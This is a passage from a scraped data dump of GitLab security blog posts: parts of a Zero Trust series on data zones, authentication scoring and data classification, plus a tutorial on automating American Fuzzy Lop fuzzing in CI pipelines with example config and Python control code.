to be able to access different data.\n\n![Authentication scoring reference guide](https://about.gitlab.com/images/blogimages/authentication-scoring.png){: .shadow.small.center}\n\n### The earning of points is as follows:\n\n#### Basic access\n\nOne point for basic authentication. This gets you access to the GREEN ZONE and GREEN data.\n\n#### Basic access with U2F\n\nOne point if second factor authentication comes through the proper channel (for GitLab team members that is Okta with approved MFA, such as U2F). Two points are required to access the YELLOW ZONE and YELLOW data, so this, coupled with the previous one point for authentication, allows the access.\n\n#### Managed device\n\nOne more point if the authentication comes via a managed device (a device GitLab has issued to the team member). This is sufficient to allow access to ORANGE ZONE and ORANGE data.\n\n#### Healthy managed device\n\nIf the managed device is in proper health (passes checks for patches, proper configuration, etc) an additional point is given, which allows access to the RED ZONE and RED data. This is not to imply that we will allow “unhealthy devices” to access ORANGE data (for example), but that the requirement is strictly enforced for RED ZONE and RED data.\n\n#### Geolocation\n\nA final point is given for a managed device with proper health from proper geolocation (this is dependent on the particular RED data being accessed). There may be a requirement that specific data can only be accessed from specific countries, and this is to account for that.\n\n## A summary and what’s next\nIt should be apparent at this point we have a fairly complex situation to administer. We do protect our data but we want more granular control over the access to the data. In a lot of organizations, administrators will end up denying access to parts of their system to employees, and end up having to export portions of the data to those denied access. Additionally, sometimes administrators will grant too much access to employees who simply need to access small segments and do not need the full access.\n\n**At GitLab we not only want to avoid that, but we want to document, log, and automate as much of the granular control as possible. This makes other challenges such as onboarding, offboarding, provisioning of access devices, auditing, and other processes much easier. And if it is easier on both the team member and the administrators managing the systems, full adoption is much simpler. The last thing GitLab wants to do is to prevent or curtail the rapid growth we are experiencing.**\n\nDesigning data zones and coming up with an authentication method to gain access to the data in its zone will help clarify how we want to approach some of the challenges. We have a decent start, but to fully explain how they will need to be applied, we’ll go into a lot more detail in the next post. We’ll also discuss some specific ways to address challenges involving our infrastructure, including the role of managed devices.\n\n*Special shout-out to the entire security team for their input on this blog series.*\n\nPhoto by [fabio](https://unsplash.com/@fabioha?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com)\n{: .note}\n",[675,14,2132],{"slug":4875,"featured":6,"template":677},"zero-trust-at-gitlab-data-zones-and-authentication-scoring","content:en-us:blog:zero-trust-at-gitlab-data-zones-and-authentication-scoring.yml","Zero Trust At Gitlab Data Zones And Authentication Scoring","en-us/blog/zero-trust-at-gitlab-data-zones-and-authentication-scoring.yml","en-us/blog/zero-trust-at-gitlab-data-zones-and-authentication-scoring",{"_path":4881,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4882,"content":4888,"config":4893,"_id":4895,"_type":16,"title":4896,"_source":17,"_file":4897,"_stem":4898,"_extension":20},"/en-us/blog/zero-trust-at-gitlab-the-data-classification-and-infrastructure-challenge",{"title":4883,"description":4884,"ogTitle":4883,"ogDescription":4884,"noIndex":6,"ogImage":4885,"ogUrl":4886,"ogSiteName":767,"ogType":768,"canonicalUrls":4886,"schema":4887},"Zero Trust at GitLab: The data classification and infrastructure challenge","The classification of data is a huge step in the right direction when it comes to handling Zero Trust, but it comes with its own set of challenges.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679055/Blog/Hero%20Images/close-up-colorful-colors-40799.jpg","https://about.gitlab.com/blog/zero-trust-at-gitlab-the-data-classification-and-infrastructure-challenge","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Zero Trust at GitLab: The data classification and infrastructure challenge\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2019-08-21\",\n      }",{"title":4883,"description":4884,"authors":4889,"heroImage":4885,"date":4890,"body":4891,"category":14,"tags":4892},[1909],"2019-08-21","\nUpdate: This is part 3 of an ongoing [Zero Trust series](/blog/tags.html#zero-trust). See our next post: [Zero Trust at GitLab: Mitigating challenges with data zones and authentication scoring](/blog/zero-trust-at-gitlab-data-zones-and-authentication-scoring/).\n{: .alert .alert-info .note}\n\nZero Trust is the practice of shifting access control from the perimeter of the org to the individuals, the assets, and the endpoints. For GitLab, Zero Trust means that all devices trying to access an endpoint or asset within our GitLab environment will need to authenticate and be authorized. This is part three of a multi-part series.\n\nCheck out these other posts to get up to speed:\n* Part one: [The evolution of Zero Trust](/blog/evolution-of-zero-trust/)\n* Part two: [Zero Trust at GitLab: Problems, goals, and coming challenges](/blog/zero-trust-at-gitlab-problems-goals-challenges)\n\nOne of the main objectives for the Security team at GitLab is to protect data, regardless of whether it is our customer data or employee data. Instead of simply viewing Zero Trust Networking (ZTN) as some type of solution for authentication, we also look at it as a way to further our data protection. This poses specific challenges for both the data and the infrastructure the data resides upon.\n\n### Dealing with data classification\n\nWe’ve established a [classification of data policy](/handbook/security/data-classification-standard.html) at GitLab, so we understand the protections necessary. The emphasis of the data classification policy is to define mapping between access controls and data, where the level of sensitivity of the data can appropriately be protected. To help with the understanding and to allow for quicker identification, the four data classification levels are mapped to a color coding. The color codings are `RED`, `ORANGE`, `YELLOW`, and `GREEN` – with `RED` being the most sensitive data, down to `GREEN` being public data.\n\nThis classification of data is a huge step in the right direction when it comes to handling ZTN. That being said, when it comes to data classification there are a few areas where we anticipate challenges with regards to ZTN:\n\n* **The state of data changes over time.** Data that is in one classification may change over time based upon any number of factors. An example is `ORANGE` sales data for a public company – if disclosed before a certain date this could lead to insider trading. However after a certain date the sales data would become public, or `GREEN` data.\n\n* **Tracking of data/metadata.** The tracking of data and its metadata, including origin and classification that define requirements for handling, is non-trivial. Applying labels (data classification labels, not to be confused with the [labeling done within the GitLab software itself](https://docs.gitlab.com/ee/user/project/labels.html)) to data helps in enabling control of the data. These labels can be related to the data’s function as well as conditional access controls needed.\n     * For example, a US DoD instance of GitLab might require certain data labels such as “US citizen,” “on US soil when accessing,” “part of the US DoD project team,” and “GitLab team member not a contractor” in addition to other more standard restrictions. It is notable that the process of data labeling could be beneficial to meeting compliance standards as well, e.g. GDPR article 15 removal requests.\n\n* **Time limits on certain data.** Applying data classification labels to data will require time limits. In the above example, the label is “part of the US DoD project team,” and access to this data may expire after 30 days and need to be removed/re-applied for/auto-extended under certain circumstances, etc.\n\n* **Capability of data.** Departmental data collected might be subject to classification based upon what it is capable of instead of what it actually seems to be (think Tenable scanning data). The same would apply to customer-generated data, such as ZenDesk tickets. Basically, because we cannot control what a customer might say or what a security scan might find. It is possible that someone could have access to a system or even manage parts of that system, yet should not be able to see all of its data.\n\n* **Movement of data.** Departmental data that is transferred between systems, either automated or manual, could affect the classification of itself or the surrounding data, especially if the data is transformed or cleansed in some way. For example, situations and potential security problems reported via ZenDesk or HackerOne are often transferred to GitLab.com so we can “work the issue.” These are often sanitized to a degree. Here is a more detailed example to illustrate this:\n     * If the XYZ corporation reports a problem which is entered into ZenDesk, an issue is created for the Security team to work to resolution, and the data is in essence transformed. If the problem is authentication bypass using the APIs and it affects all customers on GitLab.com, only the mechanics of the bypass itself are considered relevant, and the fact that XYZ corporation reported it is not important to the resolution process. Therefore, XYZ corporation can be scrubbed from the Security team’s issue (and should be). As the original issue impacted XYZ corporation, it might have been considered `ORANGE` data impact, but the real impact affects more than one customer, so the problem is considered an impact to `RED` data. After a patch and resolution of the problem, we make the details of the situation public and include vulnerability, patch, and resolution information. We state it was reported to us by “a customer.” Association with XYZ corporation would still be `ORANGE` data. However, the previous `RED` classification of the problem itself is now considered `GREEN` since the problem is resolved and we have made the problem and its solution public.\n\nAs you can see, on the surface there seems to be no problem with securing our data with the assistance of ZTN, but once you start to explore \"edge cases\" one begins to reach the conclusion that these are not actually edge cases, but working examples of how we interact with our data. In most examples, this will not be a problem as we have granular control over our data, but when it comes to ZTN we need to make sure we consider the changing state of our data. The main thing we wish to avoid is an authentication decision being made based upon a particular classification of data on a system when the classification of that data is known to change over time.\n\nGranular data access is typically controlled at the system level, so we should be just fine. A closer look at our infrastructure may indicate otherwise, so a more detailed examination is required.\n\n### The infrastructure\nThe infrastructure needs to be defined, including some semblance of where the data resides and how it is accessed. For the systems we directly manage and control down to the very lowest level, we have a good grasp on what we have to work with and what controls are available to regulate access to the data they contain. However, a decent part of our infrastructure resides on systems we do not fully control.\n\nIn the modern cloud age, the rise of [software as a service](https://en.wikipedia.org/wiki/Software_as_a_service) (SaaS) applications has become an important part of everyday business operations. Instead of maintaining servers in a server room, a vendor uses the cloud and makes the application accessible over the internet. Each company has their own private set of data maintained by the SaaS provider, and may have different levels of features based upon price that allow them to manipulate and control the data. Examples include Expensify for handling expenses, BambooHR for handling HR functions, and so on. GitLab is no exception to this process. Deployment is often as easy as setting up accounts, and while we’re [working to unify our authentication process under Okta](/handbook/business-technology/okta/#how-is-gitlab-using-okta), it is still not fully deployed.\n\nAs we are an all-remote company, our infrastructure is all-remote. We do the bulk of our company activity inside the GitLab.com software itself, but we also use roughly two dozen SaaS companies’ offerings as well. There are the usual suspects such as Slack and Zoom, but as mentioned we are currently using Expensify, BambooHR, ZenDesk, and many others.\n\nSimply put, our infrastructure poses some unique challenges:\n\n* **Cloud controls.** We are a GCP organization. Also AWS. And Azure. Did I mention DigitalOcean as well? As one might expect, this can create challenges if one has to use parts of the underlying cloud controls to help with authentication and enforcement of access controls, and software components are being moved from platform to platform. Customers don’t notice, but team members handling administrative access might.\n* **Who controls what?** This is not as bad as it sounds, but it is often not 100% clear who has administrative access to different systems. I’d say it is a symptom of a rapidly growing company, but after having experienced the same thing in most companies I’ve worked at, this is a fairly common phenomenon. The problem at GitLab stems from the amount of growth and our own rather unique history: When the company was very small, a single team member might be in control of a piece of infrastructure that slowly scaled up and became huge. Then, if that team member leaves the company, most likely the team member’s department assumes control. Does anyone or everyone have that control now? Does each team member understand all of the data residing in that system? Do they understand that data in relationship to the data classification?\n* **The enforcement of SaaS application privileges.** For systems where we do not have control over the underlying components, enforcing privileges becomes tricky. If a SaaS app has a regular user authentication and the main screen has an “Admin” button to escalate privileges, does our authentication system handle this programmatically?\n\nFortunately we can leverage a number of the [compliance](/handbook/security/security-assurance/security-compliance/) efforts within the company to gain insight into what levels of control we can impose onto each system.\n\n### What's next\n\nIt sure seems like we have a lot of unique challenges! But we do have a huge leg up. For many organizations, the coming of ZTN means the end of the corporate VPN and the falling of huge chunks of the perimeter network. [GitLab doesn’t have a corporate VPN](/handbook/security/#why-we-dont-have-a-corporate-vpn) to dismantle, and as we’ve said before [we’re an all-remote company](/company/culture/all-remote/) so there is no perimeter.\n\nWe’ve discussed a lot of challenges, in the next installment of this series we’ll start talking about a few specifics we are designing to help make things easier. If you’re researching, implementing, or considering ZTN, what are the challenges you’re tackling? Tell us in the comments.\n\n*Special shout-out to the entire security team for their input on this blog series.*\n\nPhoto by [Pixabay](https://www.pexels.com/@pixabay) on [Pexels](https://www.pexels.com/photo/red-office-yellow-school-40799/)\n{: .note}\n",[675,14,2132],{"slug":4894,"featured":6,"template":677},"zero-trust-at-gitlab-the-data-classification-and-infrastructure-challenge","content:en-us:blog:zero-trust-at-gitlab-the-data-classification-and-infrastructure-challenge.yml","Zero Trust At Gitlab The Data Classification And Infrastructure Challenge","en-us/blog/zero-trust-at-gitlab-the-data-classification-and-infrastructure-challenge.yml","en-us/blog/zero-trust-at-gitlab-the-data-classification-and-infrastructure-challenge",{"_path":4900,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4901,"content":4907,"config":4914,"_id":4916,"_type":16,"title":4917,"_source":17,"_file":4918,"_stem":4919,"_extension":20},"/en-us/blog/american-fuzzy-lop-on-gitlab",{"title":4902,"description":4903,"ogTitle":4902,"ogDescription":4903,"noIndex":6,"ogImage":4904,"ogUrl":4905,"ogSiteName":767,"ogType":768,"canonicalUrls":4905,"schema":4906},"GitLab automates instrumented fuzzing via American Fuzzy Lop","An example of how to automate instrumented fuzzing with American Fuzzy Lop using pipelines.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680723/Blog/Hero%20Images/aerial-shot-birds-eye-view.jpg","https://about.gitlab.com/blog/american-fuzzy-lop-on-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"American Fuzzy Lop on GitLab: Automating instrumented fuzzing using pipelines\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Luka Trbojevic\"}],\n        \"datePublished\": \"2019-08-14\",\n      }",{"title":4908,"description":4903,"authors":4909,"heroImage":4904,"date":4911,"body":4912,"category":14,"tags":4913},"American Fuzzy Lop on GitLab: Automating instrumented fuzzing using pipelines",[4910],"Luka Trbojevic","2019-08-14","\n\nThis year at [BSides Kansas City](https://2019.bsideskc.org/), many of my conversations were about fuzzing and integrating security into the [DevOps process](/topics/devops/). Fuzzing has been around for a very long time. Back in 2006, I wrote my first (very simple) fuzzer to mutate .zip files and pass them to anti-virus programs; even at that time, the case for fuzzing had been made many years prior. Today, [American Fuzzy Lop (AFL)](http://lcamtuf.coredump.cx/afl/), written by Michal Zalewski, stands as one of the best fuzzers available, and is one of my favorite tools.\n\nAnecdotally, I've been seeing good arguments made for the adoption of fuzzing as part of the software security lifecycle more frequently than ever before. At BSides Kansas City, I listened to an interesting conversation at the speakers' dinner where the case was made that fuzzing is reduced to a niche, nice-to-have, wishlist item incorporated into workflows by exploit developers and only the largest of enterprises. I largely agree, but I like to think of why that's the case.\n\nMy general sense is that instrumented fuzzing, as a function of the software lifecycle, is still fraught with too much friction for widespread adoption. For something to take hold at scale, be useful to a large number of people, and have its benefits passed down to consumers, it needs to be quick and simple. Right now, fuzzing as something an **organization** does as part of its standard practice is not quick or simple. So, even if you have someone well-versed in fuzzing and exploit development, chances are fuzzing won’t survive as an organizational function.\n\nIn the hope that we can move the conversation forward, I wanted to give back something actionable – yet simple – to help folks incorporate fuzzing into their workflows. I’ve always found practical, hands-on examples to be the most helpful, so I put together a baseline sample showing how fuzzing with AFL can be automated as part of a pipeline.\n\nTwo important notes:\n\n* This blog isn’t an introduction to instrumented fuzzing and assumes you have a good understanding of it already, including what a test harness is and how to write one.\n* [Fuzzing as a feature of GitLab is in the works](https://gitlab.com/gitlab-org/gitlab-ee/issues/10852), but it's not here just yet. Also, the [first iteration](https://gitlab.com/gitlab-org/gitlab-ee/issues/8453) doesn't seem to include instrumented fuzzing.\n\nYou can find all code, including the Dockerfile, and detailed setup/modification instructions in the [AFL-GitLab repository](https://gitlab.com/ltrbojevic/afl-gitlab). **Please familiarize yourself with the background in the repository first!**\n\n## Docker image setup\n\nI prefer to work with Docker images, so I’ve used the [Docker executor](https://docs.gitlab.com/runner/executors/docker.html). AFL, your code, the test harness (if applicable), and the controlling Python script (more on that below) are in your Docker image.\n\nFor this example, we’re using Ubuntu 16.04. You can use any operating system you prefer. I run Ubuntu 16.04 for my fuzzing jobs, which is why I’ve used it here:\n\n`FROM ubuntu:16.04`\n\nI copy a local `fuzzing/` folder with all of my files to `/usr/src/` in the Docker image. This can be changed to whatever works for you:\n\n`COPY fuzzing/ /usr/src/`\n\nI set the user as `root` because I just want it to work. Customize this per your operating system, threat model, and risk tolerance:\n\n`USER root`\n\nThen just install whatever packages you need:\n\n```\nRUN apt-get update && apt-get install -y \\\n  sudo \\\n  software-properties-common \\\n  build-essential\n```\n\nNote that this image is optimized for compatibility and efficiency only.\n\n## Our sample target program\n\nFor this example, we’re going to be fuzzing [vulnerable.c](https://gitlab.com/ltrbojevic/afl-gitlab/blob/master/fuzzing/afl-gitlab/vulnerable.c). It features a total absence of security and C best practice and is designed to intentionally generate at least one unique crash within the first few seconds of fuzzing. It’s a quick and simple way to verify everything else is working.\n\n## Setting up AFL\n\nInstrumenting your program is done within the `.gitlab-ci.yml` file as part of the `before_script` parameter:\n\n```\nrun-afl:\nstage: run-afl\nbefore_script:\n- cd /usr/src/afl-2.52b\n- make\n- make install\n- cd /usr/src/afl-gitlab\n- CC=/usr/src/afl-2.52b/afl-gcc AFL_HARDEN=1 make\n- echo core >/proc/sys/kernel/core_pattern\n- echo $CI_PROJECT_DIR\n```\n\nI include `echo $CI_PROJECT_DIR` as a troubleshooting measure (more below).\n\n### A note on performance\n\nThis specific example uses GitLab.com [Shared Runners](https://docs.gitlab.com/ee/ci/runners/#shared-runners) for demonstration’s sake. The performance limitations of Shared Runners in the context of fuzzing make it infeasible to run instrumented fuzzing jobs in a performant way. Instead, you could consider using a self-hosted runner.\n\n## Initializing AFL\n\nThe problem with initiating AFL in `.gitlab-ci.yml` is AFL will continue to run until interrupted, so it must be stopped programmatically and that stop must be configurable to only run after a defined amount of time.\n\nTo solve this problem, we can have the pipeline run a script to manage the execution and handling of AFL. I prefer to use Python, but you can use any language you like. In Python, we can use the `time.sleep()` function. The Python script will initiate AFL and `sleep()` will be used to run AFL for whatever length of time you set. Afterwards, AFL will be stopped.\n\nIn `.gitlab.ci-yml`, we run this script **after** AFL is installed and our program is instrumented. We do this by doing the instrumentation using the `before_script` parameter and running the Python script using the `script` parameter:\n\n```\nscript:\n- python3 /usr/src/fuzzing/afl-gitlab/afl-gitlab.py\n```\n\n`afl-gitlab.py` is where the magic happens and it serves as the control center where the handling and synchronization of the different events that need to happen are managed and customized.\n\nTo start AFL, we use `subprocess.Popen()` to run the command:\n\n```subprocess.Popen([\"afl-fuzz\", \"-i\", \"inputs\", \"-o\", \"outputs\", \"./vulnerable\"])```\n\nTo control exactly how long AFL will run, we use `time.sleep()` -- in this example, it’s 30 seconds:\n\n```\ntime.sleep(30)\n```\n\nAfter that, we need to stop AFL in a way that doesn’t cause the pipeline to fail. If you exit `afl-python.py` itself like you might do locally, the job will fail. To get around this, we use `subprocess.Popen()` to stop AFL:\n\n```\nsubprocess.Popen([\"pkill\", \"-f\", \"afl\"])\n```\n\nLastly, we exit the `afl-python.py` in a way that doesn’t cause the job to fail:\n\n```\nos._exit(0)\n```\n\nIt’s important your script doesn’t cause the job to fail because everything else that needs to happen, won’t:\n\n![job fail message](https://about.gitlab.com/images/blogimages/jobfail.png){: .shadow.medium.center}\n\nJust in case the job fails and you don’t want your entire pipeline to fail, I set `allow_failure: true` in the `.gitlab-ci.yml` file.\n\n## Collecting AFL output as a pipeline artifact\n\nRunning AFL has no value if the output can’t be collected in a workflow-friendly way, so we’ll use [pipeline artifacts](https://docs.gitlab.com/ee/ci/pipelines/job_artifacts.html). The entire artifact collection process can be defined in the `.gitlab-ci-yml` file.\n\nFirst, using the `after_scripts` parameter, which will run after `afl-gitlab.py` exits, we copy the `outputs` folder to a location in `$CI_PROJECT_DIR` (thus the `echo $CI_PROJECT_DIR done earlier`). This is important because you may run into [artifact not found issues](https://stackoverflow.com/questions/47490688/gitlab-ci-artifacts-not-found):\n\n```\nafter_script:\n  - cp -a /usr/src/afl-gitlab/outputs $CI_PROJECT_DIR\n```\nThen we simply collect the `outputs` folder as an artifact:\n\n```\nartifacts:\npaths:\n- $CI_PROJECT_DIR/outputs\n```\n\nYour output will then be viewable like any other pipeline artifact:\n\n![output artifact](https://about.gitlab.com/images/blogimages/output-artifact.png){: .shadow.medium.center}\n\n## Creating issues for every unique crash\n\nTo make this a truly automated workflow, you could use the [GitLab API](https://docs.gitlab.com/ee/api/) to create an issue for every unique crash. At this time, I haven’t had the time to invest heavily in this, but I’ll have to circle back when I do.\n\nHaving played with the artifacts API for only a few brief moments, the path of least resistance seems to be adding the logic to `afl-gitlab.py` **prior** to the artifact collection.\n\nFor a specific example on how to use `python-gitlab` to create issues, check out [an issue generator script I wrote for the HIPAA Audit Protocol](https://gitlab.com/ltrbojevic/hipaa-audit-protocol-issue-generator).\n\n## Distributed fuzzing and multi-system parallelization\n\nThe basic principles of multi-system parallelization apply whether you're running distributed fuzzing jobs manually or automating them on GitLab. While I haven't had a chance to port my personal workflows to GitLab yet, a quick glance tells me it’s likely possible.\n\nUsing `afl-gitlab.py`, you could run a separate script to handle the deployment, configuration, and de-provisioning of -S mode instances. My initial preference would be to run a second Python script – let's call it `afl-gitlab-s.py`  that would use `python-terraform` to provision and deprovision the infrastructure. Fabric can be used to configure the instances, start AFL, and so on.\n\nThere would have to be some thought put into the timing and orchestration between the two scripts. It's also important to note: your synchronization scripts have to be timed so as not to de-provision -S mode instances before a synchronization event occurs; especially if you opt for staged synchronization.\n\nLists make the most sense to me, so in other words:\n1. A Runner job runs `afl-gitlab.py`\n2. `afl-gitlab.py` starts a second script, `afl-gitlab-s.py`\n3. `afl-gitlab-s.py` does a short sleep to allow `afl-gitlab.py` to run the -M mode instance\n3. `afl-gitlab-s.py` uses `python-terraform` to provision -S mode instances\n4. `afl-gitlab-s.py` then uses Fabric to configure the -S mode instances (e.g., set up synchronization scripts) and start AFL\n5. `afl-gitlab-s.py` sleeps for 1:55 hrs\n6. `afl-gitlab-s.py` de-provisions the -S mode instances\n7. `afl-gitlab.py` ends the -M mode instance fuzzing\n\nNote that I'm assuming you've modified your synchronization scripts to transfer `crashes` and `hangs` to the -M mode instance. Please remember that the out-of-the-box synchronization scripts transfer `queue`, so unless you've modified your script to transfer other folder contents as well, you may lose findings when the -S mode instances are de-provisioned.\n\n## Automating advanced output triage and analysis\n\nMany triage and initial analysis workflows can be, and are, automated. My personal workflow includes a combination AFL's crash explorer, pwndbg, and radare2. I’ve condensed most of my initial triage to a single Python tool. The tool could be run as a Runner job, either on the Runner instance itself or, as above with the -S mode instances, offloaded to another box with the results returned to the Runner instance. Given that, and regardless of the language of your toolset, automating output triage and initial analysis seems to be doable with some tinkering.\n\nMuch like automatically creating an issue for every unique crash found, I’ve not yet had the time to focus on this and give it a go, but I’ll circle back and add it when I can.\n\n## Some final thoughts\n\nThere's a whole bunch we could automate and make more accessible in the fuzzing space. In the interest of reaching and benefiting the largest number of people, I’d love to see GitLab have mature fuzzing features that are helpful to developers and security folk alike. To help move that forward, I think community involvement in key. If you have the inclination please contribute to our [direction](https://gitlab.com/gitlab-org/gitlab-ee/issues/10852). And if, instead, you want to take this example and expand it outside of the GitLab ecosystem, please do and tell us how it went!\n\nPhoto by [Tom Fisk](https://www.pexels.com/@tomfisk?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com)\n{: .note}\n",[675,14],{"slug":4915,"featured":6,"template":677},"american-fuzzy-lop-on-gitlab","content:en-us:blog:american-fuzzy-lop-on-gitlab.yml","American Fuzzy Lop On Gitlab","en-us/blog/american-fuzzy-lop-on-gitlab.yml","en-us/blog/american-fuzzy-lop-on-gitlab",{"_path":4921,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4922,"content":4928,"config":4933,"_id":4935,"_type":16,"title":4936,"_source":17,"_file":4937,"_stem":4938,"_extension":20},"/en-us/blog/zero-trust-at-gitlab-problems-goals-challenges",{"title":4923,"description":4924,"ogTitle":4923,"ogDescription":4924,"noIndex":6,"ogImage":4925,"ogUrl":4926,"ogSiteName":767,"ogType":768,"canonicalUrls":4926,"schema":4927},"Zero Trust at GitLab: Problems, goals, and coming challenges","We map out our Zero Trust goals, the challenges we expect to encounter along the way, and how we plan to address them.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680704/Blog/Hero%20Images/beasty-ztblog-unsplash.jpg","https://about.gitlab.com/blog/zero-trust-at-gitlab-problems-goals-challenges","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Zero Trust at GitLab: Problems, goals, and coming challenges\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2019-08-09\",\n      }",{"title":4923,"description":4924,"authors":4929,"heroImage":4925,"date":4930,"body":4931,"category":14,"tags":4932},[1909],"2019-08-09","\n\nUpdate: This is part 2 of an ongoing [Zero Trust series](/blog/tags.html#zero-trust). See our next post: [Zero Trust at GitLab: The data classification and infrastructure challenge](/blog/zero-trust-at-gitlab-the-data-classification-and-infrastructure-challenge/).\n{: .alert .alert-info .note}\n\n\n_Zero Trust is the practice of shifting access control from the perimeter of the organization to the\nindividuals, the assets and the endpoints. For GitLab, Zero Trust means that all devices trying\nto access an endpoint or asset within our GitLab environment will need to authenticate and\nbe authorized. This is part two of a multi-part series. Read the first post, [The evolution of Zero Trust](/blog/evolution-of-zero-trust/)._\n\nThe benefits of Zero Trust Networking (ZTN) on paper are ideal and many rush to\nimplement it with no idea exactly what it is (or how to get there).\nWe [previously discussed the evolution of ZTN](/blog/evolution-of-zero-trust/)\nand have been working on ways to implement things since then.\n\nVendors have appeared left and right, trying to sell their own versions of ZTN, but curiously no\ntwo seem to have the same interpretation. All of them say\nthey have a product that does ZTN and it is “easy to use,” but of course if you nail them down on\nthe implementation they all seem to fall short in one area or another.\n\n## Defining the problem\n\nI alluded to this above, but let’s clearly restate the problem – how does a diverse company\nimplement Zero Trust when no one can seem to agree on any of it? The most common issue for those\ntrying to roll out a ZTN is that, to be successful, everything must work together.\nThe basic principles of Zero Trust – positively identify the user, positively identify\nthe device accessed as managed and secure, ensure the user and the device\nare allowed to get into the asset they are trying to access, and do all of this in real time –\nare somehow very hard for most people to understand.\n\nWe probably should have clearly stated in our last blog post that the biggest problem with\n[the BeyondCorp solution](https://cloud.google.com/beyondcorp/) outlined by Google is that it is\ntailored for Google. This series\nof blog posts will take a closer look at the issues we are trying to solve, along with our\nworking approach. It is tailored for GitLab and won’t necessarily work everywhere else.\nHopefully it will provide insight into our thought process, encourage some discussion, and\npossibly help others along their own paths.\n\n## What we want\n\nImplementing ZTN at GitLab involves determining what we want out of this, which is really an\nextension of our objectives for [GitLab security](/handbook/security/#security-vision)\nin general. What we want to do is the following:\n\n- **Protect the data that needs to be protected.** Different types of data need to be protected at\ndifferent levels, so we must be able to have that flexibility.\n- **Positive team member identification.** When a team member authenticates, we need to know it\ntruly is that team member, and we need to know what the allowable data is. This needs\nto happen in real time.\n- **Positive device identification.** We need to identify the authenticated team member’s access\ndevice, and based upon the level of trust associated with that device, determine whether the\ndevice is allowed to access particular data, regardless of team member identity. This needs to\nhappen in real time.\n- **Geo-location identification.** We need to identify the team member’s location while at work\nand restrict access to certain data based upon team member geolocation. This\nneeds to happen in real time.\n- **Automated access.** We need to subject all automated processes that access data to the\nsame data protection policies as team members and devices. Again, this needs to happen in real time.\n- **Logging.** We need to properly log all transactions for auditing and monitoring purposes.\n- **No weakening of existing controls.** Data must be protected at rest and in transit. Any\nand all solutions should not detract from this.\n- **Security should make things easier, not harder.** If we do this correctly, the process\nwill be streamlined. Team members in general should be able to do their jobs effectively and\nquickly. Security should be so streamlined that the process is not cumbersome, as this tends\nto inspire some team members to try and bypass it.\n\n## Expected challenge areas\n\nWe’ve laid out what we want to do, and it was pleasant to discover in quite a few cases\nwe are already doing just that. We just lacked either the real-time component or we\nsimply had some type of inconvenient workaround to protect data that inhibited team members\nfrom doing their jobs easily. Based upon that knowledge and what we want to achieve, we’ve\ndevised a list of potentially challenging areas we may encounter:\n\n### Our network\n\nWe are a company that has no perimeter to speak of, as all team members are\nremote. In a way this is good, since [we don’t have a corporate\nVPN](/handbook/security/#why-we-dont-have-a-corporate-vpn) and therefore don't have to\nface dismantling it. But we do have to ensure that we maintain some semblance of control so we\nare assured that as a team member authenticates, it is done in a safe way and is independent\nof the network they are using.\n\n### Our apps and our data\n\nWe use a number of products, including our own DevOps\noffering. While we can control our own product and alter it to better serve our needs\n(and subsequently release said changes to our customers for their own needs), this does not\naddress the public cloud offerings our infrastructure is based on and that we use on\na regular basis: GCP, AWS, Azure, and Digital Ocean. Nor does it consider the variety of\ncontrols (and their variations) used to administer and secure these platforms. Solutions\nthat present themselves as working just fine on one cloud offering may not work the same\n(or at all) on another platform, which causes its own challenges. It also does not address\nadditional services such as Slack, Expensify, BambooHR, Zendesk, and others that contain\ndata we have to protect. Therefore, we need to extend our protection to cover our\ndata no matter where it resides.\n\n### It’s not just us\n\nWe sell services to customers including private groups and projects\non GitLab.com that need protecting from the public and whose access is restricted from\nus on a need-to-know basis.\n\n### Scaling\n\nWe’re growing at a rather accelerated rate, in terms of both customers and team\nmembers. All solutions to problems have to scale, including security solutions such as ZTN.\n\n### Our customers are global\n\nThere are contractual obligations, and as well as regulatory\nand compliance issues, across the globe for our customers that need to be observed.\n\n### Our team members are also global\n\nThere are unique issues across our diverse team\nmember base, residing in more than a quarter of all countries on the planet. Each country has its\nown regulations, standards, and needs.\n\n## Coming next\n\nWe think some of these challenge areas might look familiar to many of you, and while we\nhope this post has been useful we're definitely heading into some deep and murky water going forward!\nIn the next post, we’ll take a dive into the deep end of this far-from-straightforward issue in to one of the more\nchallenging areas: our data and the infrastructure it resides upon.\n\n*Special shout-out to the entire security team for their input on this entire blog series.*\n\nPhoto by [beasty](https://unsplash.com/@beastydesign?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[675,14,2132],{"slug":4934,"featured":6,"template":677},"zero-trust-at-gitlab-problems-goals-challenges","content:en-us:blog:zero-trust-at-gitlab-problems-goals-challenges.yml","Zero Trust At Gitlab Problems Goals Challenges","en-us/blog/zero-trust-at-gitlab-problems-goals-challenges.yml","en-us/blog/zero-trust-at-gitlab-problems-goals-challenges",{"_path":4940,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4941,"content":4946,"config":4952,"_id":4954,"_type":16,"title":4955,"_source":17,"_file":4956,"_stem":4957,"_extension":20},"/en-us/blog/what-we-learned-by-taking-our-bug-bounty-program-public",{"title":4942,"description":4943,"ogTitle":4942,"ogDescription":4943,"noIndex":6,"ogImage":2994,"ogUrl":4944,"ogSiteName":767,"ogType":768,"canonicalUrls":4944,"schema":4945},"What we learned by taking our bug bounty program public","Six months into our public bug bounty program, we're taking stock of what's working and where we can make improvements.","https://about.gitlab.com/blog/what-we-learned-by-taking-our-bug-bounty-program-public","\n                        {\n        \"@context\": \"https://schema.org\",\n        